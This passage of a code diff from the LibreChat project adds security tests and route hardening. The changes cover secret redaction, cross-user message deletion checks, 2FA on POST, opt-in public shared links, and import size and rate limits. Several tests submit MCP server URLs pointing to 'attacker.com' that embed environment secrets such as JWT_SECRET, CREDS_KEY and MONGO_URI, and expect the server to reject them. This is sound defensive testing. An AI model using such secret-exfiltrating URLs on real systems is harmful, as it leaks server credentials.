const flowId = 'test-user-id:test-server';
|
||||||
|
const mockFlowManager = {
|
||||||
|
getFlowState: jest.fn().mockResolvedValue({
|
||||||
|
status: 'COMPLETED',
|
||||||
|
createdAt: Date.now(),
|
||||||
|
}),
|
||||||
|
};
|
||||||
|
|
||||||
|
getLogStores.mockReturnValue({});
|
||||||
|
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
|
||||||
|
|
||||||
|
const response = await request(app)
|
||||||
|
.get('/api/mcp/test-server/oauth/callback')
|
||||||
|
.query({ code: 'test-code', state: flowId });
|
||||||
|
|
||||||
|
const basePath = getBasePath();
|
||||||
|
expect(response.status).toBe(302);
|
||||||
|
expect(response.headers.location).toBe(
|
||||||
|
`${basePath}/oauth/error?error=csrf_validation_failed`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject when PENDING flow is stale (older than PENDING_STALE_MS)', async () => {
|
||||||
|
const flowId = 'test-user-id:test-server';
|
||||||
|
const mockFlowManager = {
|
||||||
|
getFlowState: jest.fn().mockResolvedValue({
|
||||||
|
status: 'PENDING',
|
||||||
|
createdAt: Date.now() - 3 * 60 * 1000,
|
||||||
|
}),
|
||||||
|
};
|
||||||
|
|
||||||
|
getLogStores.mockReturnValue({});
|
||||||
|
require('~/config').getFlowStateManager.mockReturnValue(mockFlowManager);
|
||||||
|
|
||||||
|
const response = await request(app)
|
||||||
|
.get('/api/mcp/test-server/oauth/callback')
|
||||||
|
.query({ code: 'test-code', state: flowId });
|
||||||
|
|
||||||
|
const basePath = getBasePath();
|
||||||
|
expect(response.status).toBe(302);
|
||||||
|
expect(response.headers.location).toBe(
|
||||||
|
`${basePath}/oauth/error?error=csrf_validation_failed`,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
it('should handle OAuth callback successfully', async () => {
|
it('should handle OAuth callback successfully', async () => {
|
||||||
// mockRegistryInstance is defined at the top of the file
|
// mockRegistryInstance is defined at the top of the file
|
||||||
const mockFlowManager = {
|
const mockFlowManager = {
|
||||||
|
|
@ -1572,12 +1693,14 @@ describe('MCP Routes', () => {
|
||||||
it('should return all server configs for authenticated user', async () => {
|
it('should return all server configs for authenticated user', async () => {
|
||||||
const mockServerConfigs = {
|
const mockServerConfigs = {
|
||||||
'server-1': {
|
'server-1': {
|
||||||
endpoint: 'http://server1.com',
|
type: 'sse',
|
||||||
name: 'Server 1',
|
url: 'http://server1.com/sse',
|
||||||
|
title: 'Server 1',
|
||||||
},
|
},
|
||||||
'server-2': {
|
'server-2': {
|
||||||
endpoint: 'http://server2.com',
|
type: 'sse',
|
||||||
name: 'Server 2',
|
url: 'http://server2.com/sse',
|
||||||
|
title: 'Server 2',
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
@ -1586,7 +1709,18 @@ describe('MCP Routes', () => {
|
||||||
const response = await request(app).get('/api/mcp/servers');
|
const response = await request(app).get('/api/mcp/servers');
|
||||||
|
|
||||||
expect(response.status).toBe(200);
|
expect(response.status).toBe(200);
|
||||||
expect(response.body).toEqual(mockServerConfigs);
|
expect(response.body['server-1']).toMatchObject({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://server1.com/sse',
|
||||||
|
title: 'Server 1',
|
||||||
|
});
|
||||||
|
expect(response.body['server-2']).toMatchObject({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://server2.com/sse',
|
||||||
|
title: 'Server 2',
|
||||||
|
});
|
||||||
|
expect(response.body['server-1'].headers).toBeUndefined();
|
||||||
|
expect(response.body['server-2'].headers).toBeUndefined();
|
||||||
expect(mockRegistryInstance.getAllServerConfigs).toHaveBeenCalledWith('test-user-id');
|
expect(mockRegistryInstance.getAllServerConfigs).toHaveBeenCalledWith('test-user-id');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
@ -1641,10 +1775,10 @@ describe('MCP Routes', () => {
|
||||||
const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
|
const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
|
||||||
|
|
||||||
expect(response.status).toBe(201);
|
expect(response.status).toBe(201);
|
||||||
expect(response.body).toEqual({
|
expect(response.body.serverName).toBe('test-sse-server');
|
||||||
serverName: 'test-sse-server',
|
expect(response.body.type).toBe('sse');
|
||||||
...validConfig,
|
expect(response.body.url).toBe('https://mcp-server.example.com/sse');
|
||||||
});
|
expect(response.body.title).toBe('Test SSE Server');
|
||||||
expect(mockRegistryInstance.addServer).toHaveBeenCalledWith(
|
expect(mockRegistryInstance.addServer).toHaveBeenCalledWith(
|
||||||
'temp_server_name',
|
'temp_server_name',
|
||||||
expect.objectContaining({
|
expect.objectContaining({
|
||||||
|
|
@ -1698,6 +1832,78 @@ describe('MCP Routes', () => {
|
||||||
expect(response.body.message).toBe('Invalid configuration');
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should reject SSE URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.post('/api/mcp/servers')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://attacker.com/?secret=${JWT_SECRET}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject streamable-http URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.post('/api/mcp/servers')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'streamable-http',
|
||||||
|
url: 'http://attacker.com/?key=${CREDS_KEY}&iv=${CREDS_IV}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject websocket URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.post('/api/mcp/servers')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'websocket',
|
||||||
|
url: 'ws://attacker.com/?secret=${MONGO_URI}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.addServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should redact secrets from create response', async () => {
|
||||||
|
const validConfig = {
|
||||||
|
type: 'sse',
|
||||||
|
url: 'https://mcp-server.example.com/sse',
|
||||||
|
title: 'Test Server',
|
||||||
|
};
|
||||||
|
|
||||||
|
mockRegistryInstance.addServer.mockResolvedValue({
|
||||||
|
serverName: 'test-server',
|
||||||
|
config: {
|
||||||
|
...validConfig,
|
||||||
|
apiKey: { source: 'admin', authorization_type: 'bearer', key: 'admin-secret-key' },
|
||||||
|
oauth: { client_id: 'cid', client_secret: 'admin-oauth-secret' },
|
||||||
|
headers: { Authorization: 'Bearer leaked-token' },
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
const response = await request(app).post('/api/mcp/servers').send({ config: validConfig });
|
||||||
|
|
||||||
|
expect(response.status).toBe(201);
|
||||||
|
expect(response.body.apiKey?.key).toBeUndefined();
|
||||||
|
expect(response.body.oauth?.client_secret).toBeUndefined();
|
||||||
|
expect(response.body.headers).toBeUndefined();
|
||||||
|
expect(response.body.apiKey?.source).toBe('admin');
|
||||||
|
expect(response.body.oauth?.client_id).toBe('cid');
|
||||||
|
});
|
||||||
|
|
||||||
it('should return 500 when registry throws error', async () => {
|
it('should return 500 when registry throws error', async () => {
|
||||||
const validConfig = {
|
const validConfig = {
|
||||||
type: 'sse',
|
type: 'sse',
|
||||||
|
|
@ -1727,7 +1933,9 @@ describe('MCP Routes', () => {
|
||||||
const response = await request(app).get('/api/mcp/servers/test-server');
|
const response = await request(app).get('/api/mcp/servers/test-server');
|
||||||
|
|
||||||
expect(response.status).toBe(200);
|
expect(response.status).toBe(200);
|
||||||
expect(response.body).toEqual(mockConfig);
|
expect(response.body.type).toBe('sse');
|
||||||
|
expect(response.body.url).toBe('https://mcp-server.example.com/sse');
|
||||||
|
expect(response.body.title).toBe('Test Server');
|
||||||
expect(mockRegistryInstance.getServerConfig).toHaveBeenCalledWith(
|
expect(mockRegistryInstance.getServerConfig).toHaveBeenCalledWith(
|
||||||
'test-server',
|
'test-server',
|
||||||
'test-user-id',
|
'test-user-id',
|
||||||
|
|
@ -1743,6 +1951,29 @@ describe('MCP Routes', () => {
|
||||||
expect(response.body).toEqual({ message: 'MCP server not found' });
|
expect(response.body).toEqual({ message: 'MCP server not found' });
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should redact secrets from get response', async () => {
|
||||||
|
mockRegistryInstance.getServerConfig.mockResolvedValue({
|
||||||
|
type: 'sse',
|
||||||
|
url: 'https://mcp-server.example.com/sse',
|
||||||
|
title: 'Secret Server',
|
||||||
|
apiKey: { source: 'admin', authorization_type: 'bearer', key: 'decrypted-admin-key' },
|
||||||
|
oauth: { client_id: 'cid', client_secret: 'decrypted-oauth-secret' },
|
||||||
|
headers: { Authorization: 'Bearer internal-token' },
|
||||||
|
oauth_headers: { 'X-OAuth': 'secret-value' },
|
||||||
|
});
|
||||||
|
|
||||||
|
const response = await request(app).get('/api/mcp/servers/secret-server');
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
expect(response.body.title).toBe('Secret Server');
|
||||||
|
expect(response.body.apiKey?.key).toBeUndefined();
|
||||||
|
expect(response.body.apiKey?.source).toBe('admin');
|
||||||
|
expect(response.body.oauth?.client_secret).toBeUndefined();
|
||||||
|
expect(response.body.oauth?.client_id).toBe('cid');
|
||||||
|
expect(response.body.headers).toBeUndefined();
|
||||||
|
expect(response.body.oauth_headers).toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
it('should return 500 when registry throws error', async () => {
|
it('should return 500 when registry throws error', async () => {
|
||||||
mockRegistryInstance.getServerConfig.mockRejectedValue(new Error('Database error'));
|
mockRegistryInstance.getServerConfig.mockRejectedValue(new Error('Database error'));
|
||||||
|
|
||||||
|
|
@ -1769,7 +2000,9 @@ describe('MCP Routes', () => {
|
||||||
.send({ config: updatedConfig });
|
.send({ config: updatedConfig });
|
||||||
|
|
||||||
expect(response.status).toBe(200);
|
expect(response.status).toBe(200);
|
||||||
expect(response.body).toEqual(updatedConfig);
|
expect(response.body.type).toBe('sse');
|
||||||
|
expect(response.body.url).toBe('https://updated-mcp-server.example.com/sse');
|
||||||
|
expect(response.body.title).toBe('Updated Server');
|
||||||
expect(mockRegistryInstance.updateServer).toHaveBeenCalledWith(
|
expect(mockRegistryInstance.updateServer).toHaveBeenCalledWith(
|
||||||
'test-server',
|
'test-server',
|
||||||
expect.objectContaining({
|
expect.objectContaining({
|
||||||
|
|
@ -1781,6 +2014,35 @@ describe('MCP Routes', () => {
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should redact secrets from update response', async () => {
|
||||||
|
const validConfig = {
|
||||||
|
type: 'sse',
|
||||||
|
url: 'https://mcp-server.example.com/sse',
|
||||||
|
title: 'Updated Server',
|
||||||
|
};
|
||||||
|
|
||||||
|
mockRegistryInstance.updateServer.mockResolvedValue({
|
||||||
|
...validConfig,
|
||||||
|
apiKey: { source: 'admin', authorization_type: 'bearer', key: 'preserved-admin-key' },
|
||||||
|
oauth: { client_id: 'cid', client_secret: 'preserved-oauth-secret' },
|
||||||
|
headers: { Authorization: 'Bearer internal-token' },
|
||||||
|
env: { DATABASE_URL: 'postgres://admin:pass@localhost/db' },
|
||||||
|
});
|
||||||
|
|
||||||
|
const response = await request(app)
|
||||||
|
.patch('/api/mcp/servers/test-server')
|
||||||
|
.send({ config: validConfig });
|
||||||
|
|
||||||
|
expect(response.status).toBe(200);
|
||||||
|
expect(response.body.title).toBe('Updated Server');
|
||||||
|
expect(response.body.apiKey?.key).toBeUndefined();
|
||||||
|
expect(response.body.apiKey?.source).toBe('admin');
|
||||||
|
expect(response.body.oauth?.client_secret).toBeUndefined();
|
||||||
|
expect(response.body.oauth?.client_id).toBe('cid');
|
||||||
|
expect(response.body.headers).toBeUndefined();
|
||||||
|
expect(response.body.env).toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
it('should return 400 for invalid configuration', async () => {
|
it('should return 400 for invalid configuration', async () => {
|
||||||
const invalidConfig = {
|
const invalidConfig = {
|
||||||
type: 'sse',
|
type: 'sse',
|
||||||
|
|
@ -1797,6 +2059,51 @@ describe('MCP Routes', () => {
|
||||||
expect(response.body.errors).toBeDefined();
|
expect(response.body.errors).toBeDefined();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('should reject SSE URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.patch('/api/mcp/servers/test-server')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'sse',
|
||||||
|
url: 'http://attacker.com/?secret=${JWT_SECRET}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject streamable-http URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.patch('/api/mcp/servers/test-server')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'streamable-http',
|
||||||
|
url: 'http://attacker.com/?key=${CREDS_KEY}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should reject websocket URL containing env variable references', async () => {
|
||||||
|
const response = await request(app)
|
||||||
|
.patch('/api/mcp/servers/test-server')
|
||||||
|
.send({
|
||||||
|
config: {
|
||||||
|
type: 'websocket',
|
||||||
|
url: 'ws://attacker.com/?secret=${MONGO_URI}',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(response.status).toBe(400);
|
||||||
|
expect(response.body.message).toBe('Invalid configuration');
|
||||||
|
expect(mockRegistryInstance.updateServer).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
it('should return 500 when registry throws error', async () => {
|
it('should return 500 when registry throws error', async () => {
|
||||||
const validConfig = {
|
const validConfig = {
|
||||||
type: 'sse',
|
type: 'sse',
|
||||||
|
|
|
||||||
200
api/server/routes/__tests__/messages-delete.spec.js
Normal file
200
api/server/routes/__tests__/messages-delete.spec.js
Normal file
|
|
@ -0,0 +1,200 @@
|
||||||
|
const mongoose = require('mongoose');
|
||||||
|
const express = require('express');
|
||||||
|
const request = require('supertest');
|
||||||
|
const { v4: uuidv4 } = require('uuid');
|
||||||
|
const { MongoMemoryServer } = require('mongodb-memory-server');
|
||||||
|
|
||||||
|
jest.mock('@librechat/agents', () => ({
|
||||||
|
sleep: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@librechat/api', () => ({
|
||||||
|
unescapeLaTeX: jest.fn((x) => x),
|
||||||
|
countTokens: jest.fn().mockResolvedValue(10),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('@librechat/data-schemas', () => ({
|
||||||
|
...jest.requireActual('@librechat/data-schemas'),
|
||||||
|
logger: {
|
||||||
|
debug: jest.fn(),
|
||||||
|
info: jest.fn(),
|
||||||
|
warn: jest.fn(),
|
||||||
|
error: jest.fn(),
|
||||||
|
},
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('librechat-data-provider', () => ({
|
||||||
|
...jest.requireActual('librechat-data-provider'),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/models', () => ({
|
||||||
|
saveConvo: jest.fn(),
|
||||||
|
getMessage: jest.fn(),
|
||||||
|
saveMessage: jest.fn(),
|
||||||
|
getMessages: jest.fn(),
|
||||||
|
updateMessage: jest.fn(),
|
||||||
|
deleteMessages: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/services/Artifacts/update', () => ({
|
||||||
|
findAllArtifacts: jest.fn(),
|
||||||
|
replaceArtifactContent: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/server/middleware/requireJwtAuth', () => (req, res, next) => next());
|
||||||
|
|
||||||
|
jest.mock('~/server/middleware', () => ({
|
||||||
|
requireJwtAuth: (req, res, next) => next(),
|
||||||
|
validateMessageReq: (req, res, next) => next(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/models/Conversation', () => ({
|
||||||
|
getConvosQueried: jest.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/db/models', () => ({
|
||||||
|
Message: {
|
||||||
|
findOne: jest.fn(),
|
||||||
|
find: jest.fn(),
|
||||||
|
meiliSearch: jest.fn(),
|
||||||
|
},
|
||||||
|
}));
|
||||||
|
|
||||||
|
/* ─── Model-level tests: real MongoDB, proves cross-user deletion is prevented ─── */
|
||||||
|
|
||||||
|
const { messageSchema } = require('@librechat/data-schemas');
|
||||||
|
|
||||||
|
describe('deleteMessages – model-level IDOR prevention', () => {
|
||||||
|
let mongoServer;
|
||||||
|
let Message;
|
||||||
|
|
||||||
|
const ownerUserId = 'user-owner-111';
|
||||||
|
const attackerUserId = 'user-attacker-222';
|
||||||
|
|
||||||
|
beforeAll(async () => {
|
||||||
|
mongoServer = await MongoMemoryServer.create();
|
||||||
|
Message = mongoose.models.Message || mongoose.model('Message', messageSchema);
|
||||||
|
await mongoose.connect(mongoServer.getUri());
|
||||||
|
});
|
||||||
|
|
||||||
|
afterAll(async () => {
|
||||||
|
await mongoose.disconnect();
|
||||||
|
await mongoServer.stop();
|
||||||
|
});
|
||||||
|
|
||||||
|
beforeEach(async () => {
|
||||||
|
await Message.deleteMany({});
|
||||||
|
});
|
||||||
|
|
||||||
|
it("should NOT delete another user's message when attacker supplies victim messageId", async () => {
|
||||||
|
const conversationId = uuidv4();
|
||||||
|
const victimMsgId = 'victim-msg-001';
|
||||||
|
|
||||||
|
await Message.create({
|
||||||
|
messageId: victimMsgId,
|
||||||
|
conversationId,
|
||||||
|
user: ownerUserId,
|
||||||
|
text: 'Sensitive owner data',
|
||||||
|
});
|
||||||
|
|
||||||
|
await Message.deleteMany({ messageId: victimMsgId, user: attackerUserId });
|
||||||
|
|
||||||
|
const victimMsg = await Message.findOne({ messageId: victimMsgId }).lean();
|
||||||
|
expect(victimMsg).not.toBeNull();
|
||||||
|
expect(victimMsg.user).toBe(ownerUserId);
|
||||||
|
expect(victimMsg.text).toBe('Sensitive owner data');
|
||||||
|
});
|
||||||
|
|
||||||
|
it("should delete the user's own message", async () => {
|
||||||
|
const conversationId = uuidv4();
|
||||||
|
const ownMsgId = 'own-msg-001';
|
||||||
|
|
||||||
|
await Message.create({
|
||||||
|
messageId: ownMsgId,
|
||||||
|
conversationId,
|
||||||
|
user: ownerUserId,
|
||||||
|
text: 'My message',
|
||||||
|
});
|
||||||
|
|
||||||
|
const result = await Message.deleteMany({ messageId: ownMsgId, user: ownerUserId });
|
||||||
|
expect(result.deletedCount).toBe(1);
|
||||||
|
|
||||||
|
const deleted = await Message.findOne({ messageId: ownMsgId }).lean();
|
||||||
|
expect(deleted).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should scope deletion by conversationId, messageId, and user together', async () => {
|
||||||
|
const convoA = uuidv4();
|
||||||
|
const convoB = uuidv4();
|
||||||
|
|
||||||
|
await Message.create([
|
||||||
|
{ messageId: 'msg-a1', conversationId: convoA, user: ownerUserId, text: 'A1' },
|
||||||
|
{ messageId: 'msg-b1', conversationId: convoB, user: ownerUserId, text: 'B1' },
|
||||||
|
]);
|
||||||
|
|
||||||
|
await Message.deleteMany({ messageId: 'msg-a1', conversationId: convoA, user: attackerUserId });
|
||||||
|
|
||||||
|
const remaining = await Message.find({ user: ownerUserId }).lean();
|
||||||
|
expect(remaining).toHaveLength(2);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
/* ─── Route-level tests: supertest + mocked deleteMessages ─── */
|
||||||
|
|
||||||
|
describe('DELETE /:conversationId/:messageId – route handler', () => {
|
||||||
|
let app;
|
||||||
|
const { deleteMessages } = require('~/models');
|
||||||
|
|
||||||
|
const authenticatedUserId = 'user-owner-123';
|
||||||
|
|
||||||
|
beforeAll(() => {
|
||||||
|
const messagesRouter = require('../messages');
|
||||||
|
|
||||||
|
app = express();
|
||||||
|
app.use(express.json());
|
||||||
|
app.use((req, res, next) => {
|
||||||
|
req.user = { id: authenticatedUserId };
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
app.use('/api/messages', messagesRouter);
|
||||||
|
});
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
jest.clearAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should pass user and conversationId in the deleteMessages filter', async () => {
|
||||||
|
deleteMessages.mockResolvedValue({ deletedCount: 1 });
|
||||||
|
|
||||||
|
await request(app).delete('/api/messages/convo-1/msg-1');
|
||||||
|
|
||||||
|
expect(deleteMessages).toHaveBeenCalledTimes(1);
|
||||||
|
expect(deleteMessages).toHaveBeenCalledWith({
|
||||||
|
messageId: 'msg-1',
|
||||||
|
conversationId: 'convo-1',
|
||||||
|
user: authenticatedUserId,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return 204 on successful deletion', async () => {
|
||||||
|
deleteMessages.mockResolvedValue({ deletedCount: 1 });
|
||||||
|
|
||||||
|
const response = await request(app).delete('/api/messages/convo-1/msg-owned');
|
||||||
|
|
||||||
|
expect(response.status).toBe(204);
|
||||||
|
expect(deleteMessages).toHaveBeenCalledWith({
|
||||||
|
messageId: 'msg-owned',
|
||||||
|
conversationId: 'convo-1',
|
||||||
|
user: authenticatedUserId,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('should return 500 when deleteMessages throws', async () => {
|
||||||
|
deleteMessages.mockRejectedValue(new Error('DB failure'));
|
||||||
|
|
||||||
|
const response = await request(app).delete('/api/messages/convo-1/msg-1');
|
||||||
|
|
||||||
|
expect(response.status).toBe(500);
|
||||||
|
expect(response.body).toEqual({ error: 'Internal server error' });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -63,7 +63,7 @@ router.post(
|
||||||
resetPasswordController,
|
resetPasswordController,
|
||||||
);
|
);
|
||||||
|
|
||||||
router.get('/2fa/enable', middleware.requireJwtAuth, enable2FA);
|
router.post('/2fa/enable', middleware.requireJwtAuth, enable2FA);
|
||||||
router.post('/2fa/verify', middleware.requireJwtAuth, verify2FA);
|
router.post('/2fa/verify', middleware.requireJwtAuth, verify2FA);
|
||||||
router.post('/2fa/verify-temp', middleware.checkBan, verify2FAWithTempToken);
|
router.post('/2fa/verify-temp', middleware.checkBan, verify2FAWithTempToken);
|
||||||
router.post('/2fa/confirm', middleware.requireJwtAuth, confirm2FA);
|
router.post('/2fa/confirm', middleware.requireJwtAuth, confirm2FA);
|
||||||
|
|
|
||||||
|
|
@ -16,9 +16,7 @@ const sharedLinksEnabled =
|
||||||
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
|
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
|
||||||
|
|
||||||
const publicSharedLinksEnabled =
|
const publicSharedLinksEnabled =
|
||||||
sharedLinksEnabled &&
|
sharedLinksEnabled && isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
|
||||||
(process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
|
|
||||||
isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC));
|
|
||||||
|
|
||||||
const sharePointFilePickerEnabled = isEnabled(process.env.ENABLE_SHAREPOINT_FILEPICKER);
|
const sharePointFilePickerEnabled = isEnabled(process.env.ENABLE_SHAREPOINT_FILEPICKER);
|
||||||
const openidReuseTokens = isEnabled(process.env.OPENID_REUSE_TOKENS);
|
const openidReuseTokens = isEnabled(process.env.OPENID_REUSE_TOKENS);
|
||||||
|
|
|
||||||
|
|
@ -1,7 +1,7 @@
|
||||||
const multer = require('multer');
|
const multer = require('multer');
|
||||||
const express = require('express');
|
const express = require('express');
|
||||||
const { sleep } = require('@librechat/agents');
|
const { sleep } = require('@librechat/agents');
|
||||||
const { isEnabled } = require('@librechat/api');
|
const { isEnabled, resolveImportMaxFileSize } = require('@librechat/api');
|
||||||
const { logger } = require('@librechat/data-schemas');
|
const { logger } = require('@librechat/data-schemas');
|
||||||
const { CacheKeys, EModelEndpoint } = require('librechat-data-provider');
|
const { CacheKeys, EModelEndpoint } = require('librechat-data-provider');
|
||||||
const {
|
const {
|
||||||
|
|
@ -224,8 +224,27 @@ router.post('/update', validateConvoAccess, async (req, res) => {
|
||||||
});
|
});
|
||||||
|
|
||||||
const { importIpLimiter, importUserLimiter } = createImportLimiters();
|
const { importIpLimiter, importUserLimiter } = createImportLimiters();
|
||||||
|
/** Fork and duplicate share one rate-limit budget (same "clone" operation class) */
|
||||||
const { forkIpLimiter, forkUserLimiter } = createForkLimiters();
|
const { forkIpLimiter, forkUserLimiter } = createForkLimiters();
|
||||||
const upload = multer({ storage: storage, fileFilter: importFileFilter });
|
const importMaxFileSize = resolveImportMaxFileSize();
|
||||||
|
const upload = multer({
|
||||||
|
storage,
|
||||||
|
fileFilter: importFileFilter,
|
||||||
|
limits: { fileSize: importMaxFileSize },
|
||||||
|
});
|
||||||
|
const uploadSingle = upload.single('file');
|
||||||
|
|
||||||
|
function handleUpload(req, res, next) {
|
||||||
|
uploadSingle(req, res, (err) => {
|
||||||
|
if (err && err.code === 'LIMIT_FILE_SIZE') {
|
||||||
|
return res.status(413).json({ message: 'File exceeds the maximum allowed size' });
|
||||||
|
}
|
||||||
|
if (err) {
|
||||||
|
return next(err);
|
||||||
|
}
|
||||||
|
next();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Imports a conversation from a JSON file and saves it to the database.
|
* Imports a conversation from a JSON file and saves it to the database.
|
||||||
|
|
@ -238,7 +257,7 @@ router.post(
|
||||||
importIpLimiter,
|
importIpLimiter,
|
||||||
importUserLimiter,
|
importUserLimiter,
|
||||||
configMiddleware,
|
configMiddleware,
|
||||||
upload.single('file'),
|
handleUpload,
|
||||||
async (req, res) => {
|
async (req, res) => {
|
||||||
try {
|
try {
|
||||||
/* TODO: optimize to return imported conversations and add manually */
|
/* TODO: optimize to return imported conversations and add manually */
|
||||||
|
|
@ -280,7 +299,7 @@ router.post('/fork', forkIpLimiter, forkUserLimiter, async (req, res) => {
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
router.post('/duplicate', async (req, res) => {
|
router.post('/duplicate', forkIpLimiter, forkUserLimiter, async (req, res) => {
|
||||||
const { conversationId, title } = req.body;
|
const { conversationId, title } = req.body;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
|
|
||||||
|
|
@ -2,12 +2,12 @@ const fs = require('fs').promises;
|
||||||
const express = require('express');
|
const express = require('express');
|
||||||
const { EnvVar } = require('@librechat/agents');
|
const { EnvVar } = require('@librechat/agents');
|
||||||
const { logger } = require('@librechat/data-schemas');
|
const { logger } = require('@librechat/data-schemas');
|
||||||
|
const { verifyAgentUploadPermission } = require('@librechat/api');
|
||||||
const {
|
const {
|
||||||
Time,
|
Time,
|
||||||
isUUID,
|
isUUID,
|
||||||
CacheKeys,
|
CacheKeys,
|
||||||
FileSources,
|
FileSources,
|
||||||
SystemRoles,
|
|
||||||
ResourceType,
|
ResourceType,
|
||||||
EModelEndpoint,
|
EModelEndpoint,
|
||||||
PermissionBits,
|
PermissionBits,
|
||||||
|
|
@ -381,48 +381,15 @@ router.post('/', async (req, res) => {
|
||||||
return await processFileUpload({ req, res, metadata });
|
return await processFileUpload({ req, res, metadata });
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
const denied = await verifyAgentUploadPermission({
|
||||||
* Check agent permissions for permanent agent file uploads (not message attachments).
|
req,
|
||||||
* Message attachments (message_file=true) are temporary files for a single conversation
|
res,
|
||||||
* and should be allowed for users who can chat with the agent.
|
metadata,
|
||||||
* Permanent file uploads to tool_resources require EDIT permission.
|
getAgent,
|
||||||
*/
|
checkPermission,
|
||||||
const isMessageAttachment = metadata.message_file === true || metadata.message_file === 'true';
|
});
|
||||||
if (metadata.agent_id && metadata.tool_resource && !isMessageAttachment) {
|
if (denied) {
|
||||||
const userId = req.user.id;
|
return;
|
||||||
|
|
||||||
/** Admin users bypass permission checks */
|
|
||||||
if (req.user.role !== SystemRoles.ADMIN) {
|
|
||||||
const agent = await getAgent({ id: metadata.agent_id });
|
|
||||||
|
|
||||||
if (!agent) {
|
|
||||||
return res.status(404).json({
|
|
||||||
error: 'Not Found',
|
|
||||||
message: 'Agent not found',
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/** Check if user is the author or has edit permission */
|
|
||||||
if (agent.author.toString() !== userId) {
|
|
||||||
const hasEditPermission = await checkPermission({
|
|
||||||
userId,
|
|
||||||
role: req.user.role,
|
|
||||||
